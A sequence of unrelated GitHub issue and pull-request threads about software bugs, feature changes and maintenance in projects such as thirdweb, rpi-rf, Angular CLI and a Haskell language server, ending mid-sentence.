@rtodling Perhaps we can wrap this topic into our nominal plan to discuss other aspects of tagging.  Nominally if something is a "release" rather than a tag, we would expect it to be on the main branch.   The tag itself does not care, but it makes the flow more consistent with our nominal branching model:  GitFlow.


HOW to get a .obj model from uv_position map

I use 8_generate_posmap_300WLP.py in face3d to generate uv_position file.
But when I use the code in run_basics.py to generate .obj file, the result is bad.

Is Anybody know what's going on here?

@likewind1993 hmmm this didn't happen for me. It's close enough to correct that you are doing something right. I would just double check all of your indices again.


lodecli beacon init / run

Looks great. Do we want to start moving some e2e tests to lodecli?

@tuyennhv Yes! I'll add the beacon e2e test. (and update lodecli to include the work in #843)

I added some sanity unit tests, but the beacon node is currently not stable enough to run in a meaningful e2e test. I'll make an issue for this


Instead of buying, autobuyer is bidding when futbin buy price is selected

if the card's buy now price is greater than the futbin's buy percent, bot will bid on the card, its by design

if the card's buy now price is greater than the futbin's buy percent, bot will bid on the card, its by design

Can we just skip the card and try to buy another one instead of bidding?

if the card's buy now price is greater than the futbin's buy percent, bot will bid on the card, its by design

Usually when finding a bargain as BIN price it would be at the last page (59 minutes till expired), there's no point on bidding if wasn't able to BIN

@chithakumar13 I want to buy bargains in every search, if I keep bidding I will not be able to win any of the cards plus I will lose the bargains.

Made changes to only buy, install the latest version

Made changes to only buy, install the latest version

Actually it makes sense to bid for futbin percent as well, I want to also bid on bargains that are ending shortly.
If you want to only BIN cards with it, you can just set "Bid items expiring in" to 1S or 1M and it will never bid on 59th minute cards.
I think it is better to either separate the Buy/Bid logic or to revert this change.

I would also appreciate an option for both

Are we making futbin call every time or is there any cached time


Selecting Metamask wallet from Connect Wallet Modal always connects to Rabby Wallet (Even after banning Rabby wallet from the settings in Rabby wallet extension)

Hey guys, whenever I select Metamask wallet from Connect Wallet modal it instead connects to the Rabby wallet all the time. I have tried different ways to disable this behavior but it keeps happening. Any suggestions/tips on how to solve this problem?
Btw I have Rabby wallet and Metamask wallet installed as the chrome extensions.
Note: But if I refresh the page and try and connect in a different page it works. This is not a desired behavior for our app.
Please find the attached videos to see the different methods I've tried to resolve this problem.
Thanks in advance! :)
https://github.com/thirdweb-dev/js/assets/40217589/d35239c5-e908-4e1e-8fb0-e60cd4826cfc
https://github.com/thirdweb-dev/js/assets/40217589/796451f7-1a49-48f6-8520-b5ebe7fda80a

@codingfarhan hey, thanks for the report - could you share your wallet configuration so we can try to reproduce it?
Even better would be if you could create a minimal reproduction case (github repo, stackblitz, or similar), it would massively speed up us hunting this down and fixing the issue. :)

Hey @codingfarhan, this is actually expected behavior for Rabby. If you switch between Rabby and Metamask in the Rabby wallet you get this popup to let you know you have to refresh the page for the wallet to take effect.


Add bitlength parameter

Some new 433 MHz RF switches use codes with 32 bit (against the usual 24 bit): this commit allows user to specify the code length.
In addition, a verification is implemented that automatically sets the length to 32 bit when a user tries to send a code greater than 24 bits.

So,
I made some minor changes to your code (see https://github.com/milaq/rpi-rf/commit/8138582d8a291a59fd15f8a126c5e0143e1b8c17):

Switch conditional default in tx_code() to 24 bits
Allow (very rare) exact 24 bit code size to be sent as 24 bit
Refactor wording
Do not override tx_length in tx_bin(). The global paramater gets set in tx_code already

Next time, please be sure to make clean PRs (squash your changes, make changes only on the topic of the commit, meaningful commit messages, etc.).
Please have a look at the changes, test it if you have the time and let me know if everything is on order.
I'll keep this PR open until I hear back from you.
Thanks again for your work :+1:

I have carried out tests with codes of different lengths and I have not found any problems. Thank you

Nice, thanks for your feedback


use NO_MODULE to find exported catkin dependencies

Addresses #760.
Replaces #772 since the patch will only be applied to Kinetic.

+1


⚠ Bofrost.be has degraded performance

In d8239bb, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 921 ms

Resolved: Bofrost.be performance has improved in efb4d89.


fixes HA None entity friendly_names, fixes #47

fixes #47

Well done! Thanks - that script needs A LOT of work and there were only so many HA configurations we could test with.
Thanks again!


cmake: Do not add static suffix with static libraries in mingw

This fixes static linking using pkgconfig files in mingw.
Otherwise, linker can not find static library showing this
ld.exe: cannot find -ljxl:No such file or directory
ld.exe: cannot find -ljxl_threads: No such file or directory
Signed-off-by: Biswapriyo Nath<EMAIL_ADDRESS>

Thanks!


Fix clusterdomain for ingress, start build and add systemconfig in CLI

This commit fix bugs that clusterdomain's httpPort and httpsPort is not
being set, and start build feature on demand when user calls build
related CLI. Also add systemconfig in CLI to better view/edit feature
config.

Fix https://github.com/rancher/rio/issues/922.


Pragmas are not filtered, crashing ghc-mod on hover.

Hovering opening part of pragma like this: {-# LANGUAGE NoMonomorphismRestriction #-}
results in error message ghc-mod crashed on command info hello.hs -#
Nested comments check in /server/src/utils/document.ts should be extended to include this case.

Thanks for the report!
@danstiner: I think ghcModProvider.isBlacklisted needs moved into document.ts and then after your regex to find the current symbol, we return isBlacklisted(symbol) ? '' : symbol
Did your see some easy to regex definitions of comments and pragma boundaries when you read the grammar spec?

Ha, I was just thinking pragmas might not be handled well, good find.
@hoovercj, that's a good idea, I'll look at it tonight.

Did not move isBlackedlisted, technically "->" is a valid operator symbol, it's just a special reserved one that it does not make sense to lookup info on hence being disallowed. While the logic in getSymbolAtOffset is actually filtering out entirely non-valid symbols. Some better naming could probably solve this and allow the isBlackelisted to be moved, I just got lazy :)


Credit Card Number parser

Create a Java class/program that can determine whether or not the user's credit card number input is in legal format or not.

Commit: 3b574919854cfebe4cc50f62be07d26e2cd53bb4
Added a Java program that can validate whether or not a credit card number is 16-digits in order for it to be in legal credit card number format.


Issues with statuses, Teams desktop app disappearing

Hi,
we´re having quite widespread issues, especially with the New Teams, within our company environment.
At first (approx. 2 weeks ago) the statuses have become completely unreliable and random, often marking people as offline while they´re online on their side, or in meeting while being online etc. Restarts, reinstallations don´t really help, only for a while.
Then, after another update, the Teams desktop app (mainly on Windows 10 22H2), started to disappear completely, users reporting they could not find the app anymore. We have an SW distribution system but it doesn´t affect Teams like this, without any notice etc. so the only viable explanation is the native Teams automatic updater.
Additionally, the Outlook Teams Meeting addin that is distributed with the New Teams is constantly disappearing from Outlook or cannot be manually activated at all, we´re always trying in the correct launch order but no success so eventually, we need to install the Classic Teams to enable the addin. Note: we have on-premise Exchange in combination with 365 Business Standard licenses (mostly)
I realise there´s probably no immediate solution but since I couldn´t find much info online (that would be posted in Oct / Nov) - does MS know about this? Will a next update address these bugs? The "Known Issues" site doesn´t really mention anything from the above...
Thank you
Jakub

Thank you for submitting feedback.
I think the best way forward is if you open a service ticket in your tenant so this can get resolved ASAP. Based on the outcome let me know if it is something that can be called out in the docs.
Please follow this link to contact support for business products:https://docs.microsoft.com/office365/admin/contact-support-for-business-products
Please keep us posted here on the resolution so we can feed whatever information you discover into the content.


fix: Only Reference issue number if not close

Added text to clarify that if the pull request does not close the issue, only add that it references it. Issues closing prematurely is a problem that I have seen come up multiple times in my short time here, hopefully this might help a bit.
"If it does not fully close the Github issue, please only reference the issue number your pull request applies to and leave the "Closes #XXXXX" alone."

[x] I have read freeCodeCamp's contribution guidelines.
[x] My pull request has a descriptive title (not a vague title like Update index.md)
[x] My pull request targets the master branch of freeCodeCamp.
[x] None of my changes are plagiarized from another source without proper attribution.
[x] My article does not contain shortened URLs or affiliate links.

If your pull request closes a GitHub issue, replace the XXXXX below with the issue number.
Closes #XXXXX

@3CatMax Thank you for submitting a pull request (PR). I have closed the PR because if a PR related to a specific issue is submitted, the intention for submitting that PR should almost always be closing the issue—and further discussion could be carried out in that PR with the ultimate goal of closing it!

Note for collaborators: this PR was not reviewed in order because it was not labelled by the bot.


list.reducedi bug fixed

https://github.com/objectionary/eo/issues/1255

@OlesiaSub @includealex @MikhailLipanin please review

@yegor256 please, have a look

@rultor merge

@rultor merge

@yegor256 OK, I'll try to merge now. You can check the progress of the merge here

@rultor merge

@yegor256 Done! FYI, the full log is here (took me 9min)


Safari Console return errors: Unexpected token '<' ,  and Can't find variable: webpack_Jsonp

Bug Report
- run 'ng build --prod --aot=false'
- then run it on a server, when loading source, safari show console errors in
   inline.xxx.bundle.js,
   polyfills.xxx.bundle.js,
   scripts.xxx.bundle.js,
   vendor.xxx.js,
   main.xxxx.js, unable to load page successfully:

Errors:
  1.  Unexpected token '<'
  2. Can't find variable: web pack_jsonp

However, Chrome works fine.

Versions.

@angular/cli: 1.2.0
node: 6.11.2
nom: 4.2.0
os: linux x64

Which Safari version you are using?

Safari Version 11.0 (13604.1.34)
This is a version of Developer preview.

On 9 Aug 2017, at 1:35 PM, be4code<EMAIL_ADDRESS>wrote:
Which Safari version you are using?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/angular/angular-cli/issues/7297#issuecomment-321157268, or mute the thread https://github.com/notifications/unsubscribe-auth/AFLILiSkVxjIiuy4ng6a-UPAx4B9Vrd4ks5sWUUbgaJpZM4OwOqF.

Are you still able to reproduce the issue?

Closing the issue due to inactivity. If the problem still exists in the latest version of the CLI, please open a new issue following the template and providing a minimal demo where we can reproduce it. Thanks! :-)


Public keys

please tell me! what scripts or programs do you use to quickly add and subtract public keys for the xpoint function? and is there a script or a program to convert a private key into a public key?

Check mi other repositories:
keysubtracter
https://github.com/albertobsd/keysubtracter
ecctools
https://github.com/albertobsd/ecctools

thanks


Automatic calculation on history

When creating a new transaction, in "transfert" type, add 'magic' buttons on value input labell which will calculate the amount based on other inputs values

Resolved by #29


[RELEASE-6.8.2] Bump to SNAPSHOT

This is an automated PR to bump artifact versions to SNAPSHOT after a release is completed.

Version bump was already done in #1235. Closing this PR


Investigate how to prevent duplicates when importing Firestore data into Microsoft Access

Relates to #22
Currently, there is no way to avoid duplicates because the Habitat Use MS Access database table does not have a field with a unique value, eg. ID.
We will need to ask Charlotte if it is something we would like to introduce as existing rows would have to be populated with a unique ID value.

Will also need to check that